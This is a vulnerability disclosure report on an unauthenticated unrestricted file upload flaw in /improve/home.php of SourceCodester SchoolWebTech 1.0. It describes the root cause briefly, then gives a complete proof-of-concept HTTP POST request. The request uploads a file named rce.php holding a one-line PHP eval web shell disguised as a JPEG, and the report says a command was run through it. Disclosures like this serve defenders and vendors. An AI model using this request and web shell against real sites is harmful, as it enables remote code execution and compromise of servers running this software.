SourceCodester SchoolWebTech 1.0 /improve/home.php Unrestricted Upload

[1097hzy]

SourceCodester SchoolWebTech 1.0 /improve/home.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

• SchoolWebTech

Vendor Homepage

• https://www.sourcecodester.com/php/6638/school-web-tech.html

AFFECTED AND/OR FIXED VERSION(S)

submitter

• zebra11

Vulnerable File

• /improve/home.php

VERSION(S)

• V1.0

Software Link

• https://www.sourcecodester.com/sites/default/files/download/Bigs%20Jackson%20Sinam/newschool.zip

PROBLEM TYPE

Vulnerability Type

• File upload

Root Cause

• The input obtained through PHP in line 375 of the \ improve \ home.php file is used by PHP in line 375 to determine the location of the file to be written, which may allow attackers to modify or damage the content of the file, or create a brand new file.
• 

Impact

• Attackers can exploit this vulnerability for unrestricted uploads, and remote attacks may result in RCE.

DESCRIPTION

• zebra11 found that the file upload operation was triggered in /improve/home.php, and the _FAILE variable was used to receive the payload. After receiving the attack vector from a remote attacker, it will result in unrestricted uploads, and remote attacks may lead to RCE.

Vulnerability details and POC

Payload

• This attack payload can be used without the need for login.
• 

POST /improve/home.php?action=upload HTTP/1.1
Host: www.newschool.com:8126
Content-Length: 401
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.newschool.com:8126
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPfsdD8ejAA2Ivepk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.newschool.com:8126/improve/home.php?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryPfsdD8ejAA2Ivepk
Content-Disposition: form-data; name="owner"


------WebKitFormBoundaryPfsdD8ejAA2Ivepk
Content-Disposition: form-data; name="image"; filename="rce.php"
Content-Type: image/jpeg

<?php eval($_POST[cc123]) ?>
------WebKitFormBoundaryPfsdD8ejAA2Ivepk
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundaryPfsdD8ejAA2Ivepk--

• Successfully connected using the tool and executed the ipconfig command
•